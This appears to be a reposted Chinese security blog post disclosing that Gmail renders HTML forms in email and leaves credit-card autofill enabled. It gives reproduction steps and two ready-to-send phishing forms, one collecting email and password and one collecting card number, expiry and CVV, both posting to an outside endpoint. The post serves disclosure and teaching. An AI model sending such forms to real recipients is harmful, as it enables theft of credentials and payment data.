声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
博客新域名:https://gugesay.com
不想错过任何消息?设置星标↓ ↓ ↓
前言
你是否知道 Gmail 允许使用<form>
HTML 标记?该功能存在潜在的 安全风险,尤其是在尝试窃取用户凭据或敏感信息时。
如果攻击者尝试通过在电子邮件中嵌入 HTML 表单来捕获用户的密码,如下所示:
<form action="https://httpbin.org/post" method="POST">
<input type="email" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Next">
</form>
邮件收件人将看到电子邮件中呈现的表单,但是 Gmail 会显示一条警告消息“Be careful with this message(请小心此信息)”,并禁用自动填充功能,从而降低用户无意中提交凭据的可能性。
利用信用卡自动填充问题
Gmail 不会对请求信用卡详细信息的表单采取同样严格的措施,如果攻击者发送了包含收集信用卡信息表单的电子邮件,自动填充功能默认情况下会处于启用状态。
谷歌似乎将信用卡详细信息视为不如密码那么敏感,但这其实带来了重大的安全风险。
重现
-
在 Google Chrome 中,导航至“chrome://settings/ payment”
-
在付款方式下,添加假信用卡
-
作为攻击者,发送以下 HTML 表单:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Credit Card Payment</title>
</head>
<body>
<div class="payment-container">
<h2>Credit Card Payment</h2>
<form action="https://httpbin.org/post" method="POST">
<label for="cardholder-name">Cardholder Name</label>
<input type="text" id="cardholder-name" name="cardholder_name" placeholder="John Doe" required>
<label for="card-number">Card Number</label>
<input type="number" id="card-number" name="card_number" placeholder="1234 5678 9012 3456" required>
<label for="expiry-date">Expiration Date</label>
<input type="text" id="expiry-date" name="expiry_date" placeholder="MM/YY" required>
<label for="cvv">CVV</label>
<input type="number" id="cvv" name="cvv" placeholder="123" required>
<input type="submit" value="Pay Now">
</form>
</div>
</body>
</html>
-
当受害者打开电子邮件时,他们会看到表格,并且允许自动填写,从而导致他们的信用卡信息意外泄露
遗憾的是,谷歌认为这并非 安全问题。
加入星球,随时交流:
(前50位成员):99元/年(后续会员定价):128元/年
感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~
====正文结束====
原文始发于微信公众号(骨哥说事):Gmail 中的 HTML 表单注入漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论